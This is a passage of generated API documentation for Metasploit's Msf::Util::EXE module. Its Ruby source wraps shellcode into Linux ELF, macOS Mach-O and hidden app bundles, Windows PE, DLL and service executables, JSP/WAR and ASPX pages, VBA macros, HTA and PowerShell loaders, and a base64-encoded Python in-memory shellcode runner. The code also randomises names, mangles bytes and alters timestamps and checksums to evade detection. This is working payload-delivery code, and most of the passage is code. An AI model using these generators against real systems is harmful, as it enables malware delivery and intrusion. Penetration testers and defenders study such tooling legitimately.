  ]
  zip.add_files(paths, MetasploitPayloads.path('java'))
  zip.build_manifest :main_class => "metasploit.Payload"
  config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
  zip.add_file("metasploit.dat", config)
  zip.add_file(exe_name, exe)

  zip
end

.to_jsp(exe) ⇒ Object


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# File 'lib/msf/util/exe.rb', line 1470

def self.to_jsp(exe)
  hash_sub = {}
  hash_sub[:var_payload]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_exepath]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_outputstream]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_bytes]         = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_counter]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_exe]           = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_proc]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_fperm]         = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_fdel]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_exepatharray]  = Rex::Text.rand_text_alpha(rand(8)+8)

  payload_hex = exe.unpack('H*')[0]
  hash_sub[:payload]           = payload_hex

  read_replace_script_template("to_exe.jsp.template", hash_sub)
end

.to_jsp_war(exe, opts = {}) ⇒ String

Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload. The jsp page converts the hexdump back to a normal binary file and places it in the temp directory. The payload file is then executed.

Parameters:

  • exe (String)

    Executable to drop and run.

  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :jsp_name (String)

    Name of the <jsp-file> in the archive _without the .jsp extension_. Defaults to random.

  • :app_name (String)

    Name of the app to put in the <servlet-name> tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to random.

  • :extra_files (Array<String,String>)

    Additional files to add to the archive. First elment is filename, second is data

Returns:

  • (String)

See Also:


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# File 'lib/msf/util/exe.rb', line 1499

def self.to_jsp_war(exe, opts = {})
  template = self.to_jsp(exe)
  self.to_war(template, opts)
end

.to_linux_aarch64_elf(framework, code, opts = {}) ⇒ String

self.to_linux_aarch64_elf

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

    Returns an elf


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# File 'lib/msf/util/exe.rb', line 1162

def self.to_linux_aarch64_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
end

.to_linux_armle_elf(framework, code, opts = {}) ⇒ String

self.to_linux_armle_elf

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

    Returns an elf


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# File 'lib/msf/util/exe.rb', line 1140

def self.to_linux_armle_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_armle_linux.bin", code)
end

.to_linux_armle_elf_dll(framework, code, opts = {}) ⇒ String

self.to_linux_armle_elf_dll

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

    Returns an elf-so


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# File 'lib/msf/util/exe.rb', line 1151

def self.to_linux_armle_elf_dll(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
end

.to_linux_mipsbe_elf(framework, code, opts = {}) ⇒ String

self.to_linux_mipsbe_elf Big Endian

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

    Returns an elf


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# File 'lib/msf/util/exe.rb', line 1184

def self.to_linux_mipsbe_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
end

.to_linux_mipsle_elf(framework, code, opts = {}) ⇒ String

self.to_linux_mipsle_elf Little Endian

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

    Returns an elf


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# File 'lib/msf/util/exe.rb', line 1173

def self.to_linux_mipsle_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
end

.to_linux_x64_elf(framework, code, opts = {}) ⇒ String

Create a 64-bit Linux ELF containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

    Returns an elf


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# File 'lib/msf/util/exe.rb', line 1107

def self.to_linux_x64_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_x64_linux.bin", code)
end

.to_linux_x64_elf_dll(framework, code, opts = {}) ⇒ String

Create a 64-bit Linux ELF_DYN containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

    Returns an elf


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# File 'lib/msf/util/exe.rb', line 1129

def self.to_linux_x64_elf_dll(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
end

.to_linux_x86_elf(framework, code, opts = {}) ⇒ String

Create a 32-bit Linux ELF containing the payload provided in code

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

    Returns an elf


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# File 'lib/msf/util/exe.rb', line 1025

def self.to_linux_x86_elf(framework, code, opts = {})
  default = true unless opts[:template]

  if default
    elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
  else
    # Use set_template_default to normalize the :template key. It will just end up doing
    # opts[:template] = File.join(opts[:template_path], opts[:template])
    # for us, check if the file exists.
    set_template_default(opts, 'template_x86_linux.bin')

    # If this isn't our normal template, we have to do some fancy
    # header patching to mark the .text section rwx before putting our
    # payload into the entry point.

    # read in the template and parse it
    e = Metasm::ELF.decode_file(opts[:template])

    # This will become a modified copy of the template's original phdr
    new_phdr = Metasm::EncodedData.new
    e.segments.each { |s|
      # Be lazy and mark any executable segment as writable.  Doing
      # it this way means we don't have to care about which one
      # contains .text
      s.flags += [ "W" ] if s.flags.include? "X"
      new_phdr << s.encode(e)
    }

    # Copy the original file
    elf = self.get_file_contents(opts[:template], "rb")

    # Replace the header with our rwx modified version
    elf[e.header.phoff, new_phdr.data.length] = new_phdr.data

    # Replace code at the entrypoint with our payload
    entry_off = e.addr_to_off(e.label_addr('entrypoint'))
    elf[entry_off, code.length] = code
  end

  elf
end

.to_linux_x86_elf_dll(framework, code, opts = {}) ⇒ String

Create a 32-bit Linux ELF_DYN containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

    Returns an elf


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# File 'lib/msf/util/exe.rb', line 1118

def self.to_linux_x86_elf_dll(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
end

.to_mem_aspx(framework, code, exeopts = {}) ⇒ Object


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# File 'lib/msf/util/exe.rb', line 1379

def self.to_mem_aspx(framework, code, exeopts = {})
  # Initialize rig and value names
  rig = Rex::RandomIdentifier::Generator.new()
  rig.init_var(:var_funcAddr)
  rig.init_var(:var_hThread)
  rig.init_var(:var_pInfo)
  rig.init_var(:var_threadId)
  rig.init_var(:var_bytearray)

  hash_sub = rig.to_h
  hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])

  read_replace_script_template("to_mem.aspx.template", hash_sub)
end

.to_osx_app(exe, opts = {}) ⇒ String

self.to_osx_app

Parameters:

  • opts (Hash) (defaults to: {})

    The options hash

Options Hash (opts):

  • :exe_name (Hash) — default: random

    the name of the macho exe file (never seen by the user)

  • :app_name (Hash) — default: random

    the name of the OSX app

  • :hidden (Hash) — default: true

    hide the app when it is running

  • :plist_extra (Hash) — default: ''

    some extra data to shove inside the Info.plist file

Returns:

  • (String)

    zip archive containing an OSX .app directory


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# File 'lib/msf/util/exe.rb', line 910

def self.to_osx_app(exe, opts = {})
  exe_name    = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
  app_name    = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
  hidden      = opts.fetch(:hidden, true)
  plist_extra = opts.fetch(:plist_extra, '')

  app_name.chomp!(".app")
  app_name += ".app"

  visible_plist = if hidden
    %Q|
    <key>LSBackgroundOnly</key>
    <string>1</string>
    |
  else
    ''
  end

  info_plist = %Q|
    <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>#{exe_name}</string>
<key>CFBundleIdentifier</key>
<string>com.#{exe_name}.app</string>
<key>CFBundleName</key>
<string>#{exe_name}</string>#{visible_plist}
<key>CFBundlePackageType</key>
<string>APPL</string>
#{plist_extra}
</dict>
</plist>
  |

  zip = Rex::Zip::Archive.new
  zip.add_file("#{app_name}/", '')
  zip.add_file("#{app_name}/Contents/", '')
  zip.add_file("#{app_name}/Contents/Resources/", '')
  zip.add_file("#{app_name}/Contents/MacOS/", '')
  # Add the macho and mark it as executable
  zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0x10
  zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
  zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
  zip.pack
end

.to_osx_arm_macho(framework, code, opts = {}) ⇒ String

self.to_osx_arm_macho

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 839

def self.to_osx_arm_macho(framework, code, opts = {})

  # Allow the user to specify their own template
  set_template_default(opts, "template_armle_darwin.bin")

  mo = self.get_file_contents(opts[:template])
  bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")
  mo[bo, code.length] = code
  mo
end

.to_osx_ppc_macho(framework, code, opts = {}) ⇒ String

self.to_osx_ppc_macho

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 857

def self.to_osx_ppc_macho(framework, code, opts = {})

  # Allow the user to specify their own template
  set_template_default(opts, "template_ppc_darwin.bin")

  mo = self.get_file_contents(opts[:template])
  bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag")
  mo[bo, code.length] = code
  mo
end

.to_osx_x64_macho(framework, code, opts = {}) ⇒ String

self.to_osx_x64_macho

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 893

def self.to_osx_x64_macho(framework, code, opts = {})
  set_template_default(opts, "template_x64_darwin.bin")

  macho = self.get_file_contents(opts[:template])
  bin = self.find_payload_tag(macho,
          "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag")
  macho[bin, code.length] = code
  macho
end

.to_osx_x86_macho(framework, code, opts = {}) ⇒ String

self.to_osx_x86_macho

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 875

def self.to_osx_x86_macho(framework, code, opts = {})

  # Allow the user to specify their own template
  set_template_default(opts, "template_x86_darwin.bin")

  mo = self.get_file_contents(opts[:template])
  bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag")
  mo[bo, code.length] = code
  mo
end

.to_powershell_command(framework, arch, code) ⇒ Object


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# File 'lib/msf/util/exe.rb', line 1411

def self.to_powershell_command(framework, arch, code)
  template_path = Rex::Powershell::Templates::TEMPLATE_DIR
  Rex::Powershell::Command.cmd_psh_payload(code,
                  arch,
                  template_path,
                  encode_final_payload: true,
                  method: 'reflection')
end

.to_powershell_hta(framework, arch, code) ⇒ Object


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# File 'lib/msf/util/exe.rb', line 1420

def self.to_powershell_hta(framework, arch, code)
  template_path = Rex::Powershell::Templates::TEMPLATE_DIR

  powershell = Rex::Powershell::Command.cmd_psh_payload(code,
                  arch,
                  template_path,
                  encode_final_payload: true,
                  remove_comspec: true,
                  method: 'reflection')

  # Initialize rig and value names
  rig = Rex::RandomIdentifier::Generator.new()
  rig.init_var(:var_shell)
  rig.init_var(:var_fso)

  hash_sub = rig.to_h
  hash_sub[:powershell] = powershell

  read_replace_script_template("to_powershell.hta.template", hash_sub)
end

.to_powershell_vba(framework, arch, code) ⇒ Object

self.to_powershell_vba

Parameters:


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# File 'lib/msf/util/exe.rb', line 1275

def self.to_powershell_vba(framework, arch, code)
  template_path = Rex::Powershell::Templates::TEMPLATE_DIR

  powershell = Rex::Powershell::Command.cmd_psh_payload(code,
                  arch,
                  template_path,
                  encode_final_payload: true,
                  remove_comspec: true,
                  method: 'reflection')

  # Initialize rig and value names
  rig = Rex::RandomIdentifier::Generator.new()
  rig.init_var(:sub_auto_open)
  rig.init_var(:var_powershell)

  hash_sub = rig.to_h
  # VBA has a maximum of 24 line continuations
  line_length = powershell.length / 24
  vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'

  hash_sub[:powershell] = vba_psh

  read_replace_script_template("to_powershell.vba.template", hash_sub)
end

.to_python_reflection(framework, arch, code, exeopts) ⇒ Object


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# File 'lib/msf/util/exe.rb', line 1441

def self.to_python_reflection(framework, arch, code, exeopts)
  unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch
    raise RuntimeError, "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"
  end
  python_code = <<~PYTHON
    #{Rex::Text.to_python(code)}
    import ctypes,os
    if os.name == 'nt':
     cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)
     ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
     ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
     ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]
     ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))
     ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
    else:
     import mmap
     from ctypes.util import find_library
     c = ctypes.CDLL(find_library('c'))
     c.mmap.restype = ctypes.c_void_p
     ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)
     ctypes.memmove(ptr,buf,len(buf))
     c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]
     c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)
     ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
  PYTHON

  "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"
end

.to_solaris_x86_elf(framework, code, opts = {}) ⇒ String

Create a 32-bit Solaris ELF containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

    Returns an elf


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# File 'lib/msf/util/exe.rb', line 1096

def self.to_solaris_x86_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
end

.to_vba(framework, code, opts = {}) ⇒ Object

self.to_vba

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})

    Unused


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# File 'lib/msf/util/exe.rb', line 1242

def self.to_vba(framework,code,opts = {})
  hash_sub = {}
  hash_sub[:var_myByte]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_myArray]            = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_rwxpage]            = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_res]                = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_offset]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_dwStackSize]        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpStartAddress]     = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpParameter]        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_dwCreationFlags]    = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpThreadID]         = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpAddr]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lSize]              = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_flAllocationType]   = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_flProtect]          = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lDest]              = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_Source]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_Length]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize

  # put the shellcode bytes into an array
  hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])

  read_replace_script_template("to_mem.vba.template", hash_sub)
end

.to_war(jsp_raw, opts = {}) ⇒ String

TODO:

Refactor to return a Rex::Zip::Archive or Rex::Zip::Jar

Creates a Web Archive (WAR) file from the provided jsp code.

On Tomcat, WAR files will be deployed into a directory with the same name as the archive, e.g. foo.war will be extracted into foo/. If the server is in a default configuration, deoployment will happen automatically. See the Tomcat documentation for a description of how this works.

Parameters:

  • jsp_raw (String)

    JSP code to be added in a file called jsp_name in the archive. This will be compiled by the victim servlet container (e.g., Tomcat) and act as the main function for the servlet.

  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :jsp_name (String)

    Name of the <jsp-file> in the archive _without the .jsp extension_. Defaults to random.

  • :app_name (String)

    Name of the app to put in the <servlet-name> tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to random.

  • :extra_files (Array<String,String>)

    Additional files to add to the archive. First elment is filename, second is data

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 1559

def self.to_war(jsp_raw, opts = {})
  jsp_name = opts[:jsp_name]
  jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
  app_name = opts[:app_name]
  app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)

  meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
  manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
  web_xml = %q{<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
</web-app>
}
  web_xml.gsub!(/NAME/, app_name)
  web_xml.gsub!(/PAYLOAD/, jsp_name)

  zip = Rex::Zip::Archive.new
  zip.add_file('META-INF/', '', meta_inf)
  zip.add_file('META-INF/MANIFEST.MF', manifest)
  zip.add_file('WEB-INF/', '')
  zip.add_file('WEB-INF/web.xml', web_xml)
  # add the payload
  zip.add_file("#{jsp_name}.jsp", jsp_raw)

  # add extra files
  if opts[:extra_files]
    opts[:extra_files].each {|el| zip.add_file(el[0], el[1])}
  end

  zip.pack
end

.to_win32pe(framework, code, opts = {}) ⇒ String

self.to_win32pe

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :sub_method (String)
  • :inject, (String)

    Code to inject into the exe

  • :template (String)
  • :arch, (Symbol)

    Set to :x86 by default

Returns:

  • (String)

Raises:

  • (RuntimeError)

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# File 'lib/msf/util/exe.rb', line 227

def self.to_win32pe(framework, code, opts = {})

  # For backward compatibility, this is roughly equivalent to 'exe-small' fmt
  if opts[:sub_method]
    if opts[:inject]
      raise RuntimeError, 'NOTE: using the substitution method means no inject support'
    end

    # use
    self.to_win32pe_exe_sub(framework, code, opts)
  end

  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x86_windows.exe")

  # Copy the code to a new RWX segment to allow for self-modifying encoders
  payload = win32_rwx_exec(code)

  # Create a new PE object and run through sanity checks
  pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)

  #try to inject code into executable by adding a section without affecting executable behavior
  if opts[:inject]
    injector = Msf::Exe::SegmentInjector.new({
        :payload  => code,
        :template => opts[:template],
        :arch     => :x86,
        :secname  => opts[:secname]
    })
    return injector.generate_pe
  end

  text = nil
  pe.sections.each {|sec| text = sec if sec.name == ".text"}

  raise RuntimeError, "No .text section found in the template" unless text

  unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
    raise RuntimeError, "The .text section does not contain an entry point"
  end

  p_length = payload.length + 256

  # If the .text section is too small, append a new section instead
  if text.size < p_length
    appender = Msf::Exe::SegmentAppender.new({
        :payload  => code,
        :template => opts[:template],
        :arch     => :x86,
        :secname  => opts[:secname]
    })
    return appender.generate_pe
  end

  # Store some useful offsets
  off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
  off_beg = pe.rva_to_file_offset(text.base_rva)

  # We need to make sure our injected code doesn't conflict with the
  # the data directories stored in .text (import, export, etc)
  mines = []
  pe.hdr.opt['DataDirectory'].each do |dir|
    next if dir.v['Size'] == 0
    next unless text.contains_rva?(dir.v['VirtualAddress'])
    delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
    mines << [delta, dir.v['Size']]
  end

  # Break the text segment into contiguous blocks
  blocks = []
  bidx   = 0
  mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
    bbeg = bidx
    bend = mine[0]
    blocks << [bidx, bend-bidx] if bbeg != bend
    bidx = mine[0] + mine[1]
  end

  # Add the ending block
  blocks << [bidx, text.size - bidx] if bidx < text.size - 1

  # Find the largest contiguous block
  blocks.sort!{|a,b| b[1]<=>a[1]}
  block = blocks.first

  # TODO: Allow the entry point in a different block
  if payload.length + 256 > block[1]
    raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
  end

  # Make a copy of the entire .text section
  data = text.read(0,text.size)

  # Pick a random offset to store the payload
  poff = rand(block[1] - payload.length - 256)

  # Flip a coin to determine if EP is before or after
  eloc = rand(2)
  eidx = nil

  # Pad the entry point with random nops
  entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)

  # Pick an offset to store the new entry point
  if eloc == 0 # place the entry point before the payload
    poff += 256
    eidx = rand(poff-(entry.length + 5))
  else          # place the entry pointer after the payload
    poff -= 256
    eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
  end

  # Relative jump from the end of the nops to the payload
  entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

  # Mangle 25% of the original executable
  1.upto(block[1] / 4) do
    data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
  end

  # Patch the payload and the new entry point into the .text
  data[block[0] + poff, payload.length] = payload
  data[block[0] + eidx, entry.length]   = entry

  # Create the modified version of the input executable
  exe = ''
  File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}

  a = [text.base_rva + block.first + eidx].pack("V")
  exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
  exe[off_beg, data.length] = data

  tds = pe.hdr.file.TimeDateStamp
  exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")

  cks = pe.hdr.opt.CheckSum
  unless cks == 0
    exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
  end

  exe = clear_dynamic_base(exe, pe)
  pe.close

  exe
end

.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {}) ⇒ String

self.to_win32pe_dll

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 727

def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x86_windows_dccw_gdiplus.dll")
  opts[:exe_type] = :dll

  if opts[:inject]
    self.to_win32pe(framework, code, opts)
  else
    exe_sub_method(code,opts)
  end
end

.to_win32pe_dll(framework, code, opts = {}) ⇒ String

self.to_win32pe_dll

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 684

def self.to_win32pe_dll(framework, code, opts = {})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x86_windows.dll")
  opts[:exe_type] = :dll

  if opts[:inject]
    self.to_win32pe(framework, code, opts)
  else
    exe_sub_method(code,opts)
  end
end

.to_win32pe_exe_sub(framework, code, opts = {}) ⇒ String

self.to_win32pe_exe_sub

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})

Returns:

  • (String)

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# File 'lib/msf/util/exe.rb', line 587

def self.to_win32pe_exe_sub(framework, code, opts = {})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x86_windows.exe")
  opts[:exe_type] = :exe_sub
  exe_sub_method(code,opts)
end

.to_win32pe_old(framework, code, opts = {}) ⇒ Object

self.to_win32pe_old

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})

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# File 'lib/msf/util/exe.rb', line 448

def self.to_win32pe_old(framework, code, opts = {})

  payload = code.dup
  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x86_windows_old.exe")

  pe = ''
  File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}

  if payload.length <= 2048
    payload << Rex::Text.rand_text(2048-payload.length)
  else
    raise RuntimeError, "The EXE generator now has a max size of 2048 " +
                        "bytes, please fix the calling module"
  end

  bo = pe.index('PAYLOAD:')
  unless bo
    raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
  end
  pe[bo, payload.length] = payload

  pe[136, 4] = [rand(0x100000000)].pack('V')

  ci = pe.index("\x31\xc9" * 160)
  unless ci
    raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
  end
  cd = pe.index("\x31\xc9" * 160, ci + 320)
  unless cd
    raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
  end
  rc = pe[ci+320, cd-ci-320]

  # 640 + rc.length bytes of room to store an encoded rc at offset ci
  enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
  lft = 640+rc.length - enc.length

  buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
  pe[ci, buf.length] = buf

  # Make the data section executable
  xi = pe.index([0xc0300040].pack('V'))
  pe[xi,4] = [0xe0300020].pack('V')

  # Add a couple random bytes for fun
  pe << Rex::Text.rand_text(rand(64)+4)
  pe
end

.to_win32pe_psh(framework, code, opts = {}) ⇒ Object


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# File 'lib/msf/util/exe.rb', line 1398

def self.to_win32pe_psh(framework, code, opts = {})
  Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end

.to_win32pe_psh_net(framework, code, opts = {}) ⇒ Object


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# File 'lib/msf/util/exe.rb', line 1394

def self.to_win32pe_psh_net(framework, code, opts={})
  Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end

.to_win32pe_psh_reflection(framework, code, opts = {}) ⇒ Object

Reflection technique prevents the temporary .cs file being created for the .NET compiler Tweaked by shellster Originally from PowerSploit


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# File 'lib/msf/util/exe.rb', line 1407

def self.to_win32pe_psh_reflection(framework, code, opts = {})
  Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end

.to_win32pe_service(framework, code, opts = {}) ⇒ String

Embeds shellcode within a Windows PE file implementing the Windows service control methods.

Parameters:

  • framework (Object)
  • code (String)

    shellcode to be embedded

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :sub_method (Boolean)

    use substitution technique with a service template PE

  • :servicename (String)

    name of the service, not used in substituion technique

Returns:

  • (String)

    Windows Service PE file


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# File 'lib/msf/util/exe.rb', line 636

def self.to_win32pe_service(framework, code, opts = {})
  set_template_default(opts, "template_x86_windows_svc.exe")
  if opts[:sub_method]
    # Allow the user to specify their own service EXE template
    opts[:exe_type] = :service_exe
    return exe_sub_method(code,opts)
  else
